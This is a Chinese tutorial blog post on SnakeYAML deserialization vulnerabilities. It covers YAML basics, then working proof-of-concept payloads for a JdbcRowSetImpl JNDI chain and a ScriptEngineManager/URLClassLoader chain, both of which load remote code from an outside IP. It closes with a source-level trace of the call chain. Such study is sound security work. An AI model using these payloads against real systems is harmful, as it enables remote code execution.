目录
关于Yaml
关于SnakeYaml
SnakeYaml反序列化利用
JdbcRowSetImpl链
ScriptEngineManager链
复现
基本原理
继续深入
关于Yaml
学过SpringBoot开发的师傅都知道,YAML和 Properties 文件都是常见的配置文件格式,用于存储键值对数据。
这里举几个Yaml的例子回顾一下
# 示例 YAML 文件
# 字符串和整数
name: John Doe
age: 30
# 列表
languages:
- Python
- JavaScript
- Java
# 映射
address:
street: 123 Main Street
city: Anytown
postal_code: 12345
# 嵌套结构
person:
name: Alice
age: 25
address:
street: 456 Elm Street
city: Somewhere
postal_code: 54321
上面的例子体现了几个Yaml的特性:
使用 key: value 的格式表示键值对数据。
使用缩进表示层次结构,比如 languages 是一个列表,address 是一个映射。
支持注释,以 # 开头。
如何表示字符串、整数、列表和嵌套结构。
此外,在 YAML 中,方括号 []
和双方括号 [[...]]
分别表示列表和嵌套列表的含义。
-
单方括号
[]
表示列表:- 在 YAML 中,单方括号
[]
表示一个简单的列表,其中可以包含一组项目。 - 例如,
items: [apple, banana, orange]
表示一个包含三个字符串元素的列表。
- 在 YAML 中,单方括号
-
双方括号
[[...]]
表示嵌套列表:- 双方括号
[[...]]
表示一个嵌套的列表,即一个列表中包含另一个列表。 - 这种结构用于表示更复杂的数据结构,其中内部列表中可以包含多个项目。
- 在嵌套列表中,每对方括号表示一个新的列表层级。
- 例如,
nestedList: [[1, 2], [3, 4], [5, 6]]
表示一个包含三个子列表的父列表,每个子列表包含两个整数元素。
- 双方括号
关于SnakeYaml
SnakeYAML 是 Java 中一个流行的 YAML 解析库,用于读取和生成 YAML 数据。
1.加载(Load)YAML 数据: 使用 SnakeYAML 的 load
方法可以将 YAML 数据加载到 Java 对象中。这个方法会将 YAML 格式的数据解析为对应的 Java 对象。
2.转储(Dump)Java 对象为 YAML 格式: 使用 SnakeYAML 的 dump
方法可以将 Java 对象转换为对应的 YAML 格式数据。
举例:
一个User Bean
package com.snake.demo;
public class User {
private String name;
public int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
public User() {
System.out.println("Non Arg Constructor");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
@Override
public String toString() {
return "I am " + name + ", " + age + " years old";
}
}
测试类
package com.snake.demo;
import org.yaml.snakeyaml.Yaml;
public class Main {
public static void main(String[] args) {
User user = new User("Z3r4y", 18);
Yaml yaml = new Yaml();
System.out.println(yaml.dump(user));
String s = "!!com.snake.demo.User {age: 18, name: Z3r4y}";
User user2 = yaml.load(s);
System.out.println(user2);
}
}
运行结果
getName
!!com.snake.demo.User {age: 18, name: Z3r4y}
Non Arg Constructor
setName
I am Z3r4y, 18 years old
通过上述lab,我们至少可以得到以下两点结论:
①yaml反序列化时可以通过!!
+全类名指定反序列化的类,反序列化过程中会实例化该类
②四种属性修饰,private,protected,public,default,若属性设置为public,则不会调用对应的setter方法,当属性为public时,是通过反射对Field进行了set,而当属性为private时,是通过反射调用setName设置的值
SnakeYaml反序列化利用
SnakeYaml反序列化和fastjson反序列化一样都会调用setter,不过对于public修饰的成员不会调用其setter。
除此之外,SnakeYaml反序列化时还能调用该类的构造函数
于是乎便分别有了以下两种的利用
JdbcRowSetImpl链
调用JdbcRowSetImpl#setAutoCommit,这样就成功触发了JdbcRowSetImpl链,从而JNDI注入
先导pom依赖
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
编写POC
package com.snake.demo;
import org.yaml.snakeyaml.Yaml;
public class POC1 {
public static void main(String[] args) {
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://124.222.136.33:1337/#suibian, autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
开一个恶意LDAP服务器
找个端口放恶意字节码
成功弹计算器
和FastJson反序列化原理一样的,不多解释,可以看这篇文章:【Web】速谈FastJson反序列化中JdbcRowSetImpl的利用
ScriptEngineManager链
复现
javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行,底层是个SPI,关于SPI可以看看这篇文章,不多赘述:
【Web】浅浅地聊JDBC java.sql.Driver的SPI后门
【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客
github上现成的利用ScriptEngineManager利用方式的exp:
GitHub - artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads
拿到手稍微小改下这个部分代码就可
运行下列命令生成个jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
然后开个端口把恶意jar包放服务器上
运行这段代码,弹出计算器
package com.snake.demo;
import org.yaml.snakeyaml.Yaml;
public class POC2 {
public static void main(String[] args) {
String poc = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://124.222.136.33:1337/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
基本原理
OK复现成功了,我们跟下调用链
首先看到javax.script.ScriptEngineManager的有参构造方法调用了init,并传入了一个ClassLoader,至于从哪传的,后面会讲,暂按下不表。
public ScriptEngineManager(ClassLoader loader) {
init(loader);
}
init方法进行一些初始化设置之后调用initEngines()
private void init(final ClassLoader loader) {
globalScope = new SimpleBindings();
engineSpis = new HashSet<ScriptEngineFactory>();
nameAssociations = new HashMap<String, ScriptEngineFactory>();
extensionAssociations = new HashMap<String, ScriptEngineFactory>();
mimeTypeAssociations = new HashMap<String, ScriptEngineFactory>();
initEngines(loader);
}
initEngines方法,调用了getServiceLoader
private void initEngines(final ClassLoader loader) {
Iterator<ScriptEngineFactory> itr = null;
try {
ServiceLoader<ScriptEngineFactory> sl = AccessController.doPrivileged(
new PrivilegedAction<ServiceLoader<ScriptEngineFactory>>() {
@Override
public ServiceLoader<ScriptEngineFactory> run() {
return getServiceLoader(loader);
}
});
itr = sl.iterator();
}
跟进getServiceLoader方法
private ServiceLoader<ScriptEngineFactory> getServiceLoader(final ClassLoader loader) {
if (loader != null) {
return ServiceLoader.load(ScriptEngineFactory.class, loader);
} else {
return ServiceLoader.loadInstalled(ScriptEngineFactory.class);
}
}
返回一个ServiceLoader<T>
,根据这个可以获取一个指定了加载类为ScriptEngineFactory的迭代器,这也和我们生成恶意jar包的项目的META-INF/services目录下的文件名呼应
ok到这一步我们已经获得了一个指定了加载类为ScriptEngineFactory的迭代器
initEngines方法接着向下执行又看到了两个熟悉的方法hasNext()
、next()
try {
while (itr.hasNext()) {
try {
ScriptEngineFactory fact = itr.next();
engineSpis.add(fact);
} catch (ServiceConfigurationError err) {
System.err.println("ScriptEngineManager providers.next(): "
+ err.getMessage());
if (DEBUG) {
err.printStackTrace();
}
// one factory failed, but check other factories...
continue;
}
}
}
不多作赘余解释,这篇文章里有写:【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客
总结来说就是:
hashNext用于获取全路径,并读取文件中的内容
next用于执行文件中对应的类,导致恶意类的动态加载,恶意静态代码块的执行,从而完成攻击
问题是,恶意类来自哪呢?是来自反序列化调用远程jar包
如何调用远程的jar包呢?只能说是由URLClassLoader和URL来具体操作的,我们不做具体讨论
原理这部分到此为止。
继续深入
我们先回到本源,来看看Yaml#load是如何操作
public <T> T load(String yaml) { return this.loadFromReader(new StreamReader(yaml), Object.class); }
先是将我们的payload字符串存入StreamReader的stream中
public StreamReader(Reader reader) { this.pointer = 0; this.index = 0; this.line = 0; this.column = 0; this.name = "'reader'"; this.dataWindow = new int[0]; this.dataLength = 0; this.stream = reader; this.eof = false; this.buffer = new char[1025]; }
OK,我们再回到loadFromReader(),其创建了一个Composer对象,并封装到constructor中
private Object loadFromReader(StreamReader sreader, Class<?> type) { Composer composer = new Composer(new ParserImpl(sreader), this.resolver, this.loadingConfig); this.constructor.setComposer(composer); return this.constructor.getSingleData(type); }
跟一下this.constructor.getSingleData
代码中首先通过 composer
对象的 getSingleNode
方法获取一个节点(Node)对象。接着判断该节点是否为非空且不是表示空值的特殊标记。如果条件成立,则继续执行下面的逻辑,否则会返回一个表示空值的对象。
public Object getSingleData(Class<?> type) { Node node = this.composer.getSingleNode(); if (node != null && !Tag.NULL.equals(node.getTag())) { if (Object.class != type) { node.setTag(new Tag(type)); } else if (this.rootTag != null) { node.setTag(this.rootTag); } return this.constructDocument(node); } else { Construct construct = (Construct)this.yamlConstructors.get(Tag.NULL); return construct.construct(node); } }
接着调用constructDocument()
protected final Object constructDocument(Node node) { Object var3; try { Object data = this.constructObject(node); this.fillRecursive(); var3 = data; }
跟constructObject
protected Object constructObject(Node node) {
if (constructedObjects.containsKey(node)) {
return constructedObjects.get(node);
}
return constructObjectNoCheck(node);
}
跟 constructObjectNoCheck
constructObjectNoCheck()
中recursiveObjects
值为空,所以不执行if,并通过add将node追加到其中,之后由于constructedObjects
值也是空,所以三目运算执行" : "后边的内容
protected Object constructObjectNoCheck(Node node) {
if (recursiveObjects.contains(node)) {
throw new ConstructorException(null, null, "found unconstructable recursive node",
node.getStartMark());
}
recursiveObjects.add(node);
Construct constructor = getConstructor(node);
Object data = (constructedObjects.containsKey(node)) ? constructedObjects.get(node)
: constructor.construct(node);
node放入recursiveObjects
,进入constructor.construct(node)
public Object construct(Node node) {
try {
return getConstructor(node).construct(node);
} catch (ConstructorException e) {
throw e;
} catch (Exception e) {
throw new ConstructorException(null, null, "Can't construct a java object for "
+ node.getTag() + "; exception=" + e.getMessage(), node.getStartMark(), e);
}
}
再跟construct
for (Node argumentNode : snode.getValue()) {
Class<?> type = c.getParameterTypes()[index];
// set runtime classes for arguments
argumentNode.setType(type);
argumentList[index++] = constructObject(argumentNode);
}
遍历节点,调用constructObject()
又给循环回去
上面的POC有5个node,循环5次。
先后进行了URL、URLClassLoader、ScriptEngineManager的实例化
注意这里实例化是有传参数(argumentList)的,把前一个类的实例化对象当作下个类构造器的参数。
最后进入ScriptEngineManager的有参构造器,连接上了上文的SPI机制。